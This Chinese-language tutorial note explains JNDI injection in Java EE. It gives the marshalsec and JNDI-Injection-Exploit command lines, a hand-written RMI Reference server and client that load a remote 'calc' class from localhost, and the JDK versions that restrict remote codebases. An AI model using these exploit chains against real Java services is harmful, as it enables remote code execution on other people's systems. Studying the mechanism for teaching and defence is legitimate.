知识点:
1、安全开发-JavaEE-JNDI注入-LADP&RMI&DNS等
2、安全开发-JavaEE-JNDI注入-项目工具&手工原理等
演示案例-WEB开发-JavaEE-JNDI注入&LDAP&RMI服务&DNS服务&高版本限制绕过
JNDI
全称为 Java Naming and DirectoryInterface
(Java
命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI
支持的服务主要有:DNS、LDAP、CORBA、RMI
等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java
为了将Object
对象存储在Naming
或Directory
服务下,提供了Naming Reference
功能,对象可以通过绑定Reference
存储在Naming
或Directory
服务下,比如RMI、LDAP
等。javax.naming.InitialContext.lookup()
在RMI
服务中调用了InitialContext.lookup()
的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP
服务中调用了InitialContext.lookup()
的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
JNDI注入-工具-marshalsec
项目地址:https://github.com/mbechler/marshalsec
这个项目就是自己写一个危险代码类,然后编译成class
文件放到网站目录下,用该项目生成一个调用地址,相当于中转作用。
1、编译调用对象(生成class文件)
javac Test.java
2、将生成的Class存放到网站访问路径,使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Calc
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#Calc
3、触发JNDI注入
JNDI注入-工具-JNDI-Injection-Exploit
项目地址:https://github.com/welk1n/JNDI-Injection-Exploit
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
JNDI注入-手工
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
1、Server注册监听
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("calc", "calc", "http://127.0.0.1:8089/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);
2、Clinet连接触发
String uri = "rmi://127.0.0.1:7778/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
JDK高版本注入绕过
JDK 6u45、7u21之后
java.rmi.server.useCodebaseOnly
的默认值被设置为true
。当该值为true
时,将禁用自动加载远程类文件,仅从CLASSPATH
和当前JVM
的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM
从其他Codebase
地址上动态加载类,增加RMI ClassLoader
安全性。
JDK 6u141、7u131、8u121之后
增加了com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false
,禁止RMI
和CORBA
协议使用远程codebase
的选项,因此RMI
和CORBA
在以上的JDK
版本上已经无法触发该漏洞,但依然可以通过指定URI
为LDAP
协议来进行JNDI
注入攻击。
JDK 6u211、7u201、8u191之后
增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false
,禁止LDAP
协议使用远程codebase
的选项,把LDAP
协议的攻击途径也给禁了。
高版本绕过
后续Java
安全篇章课程将讲到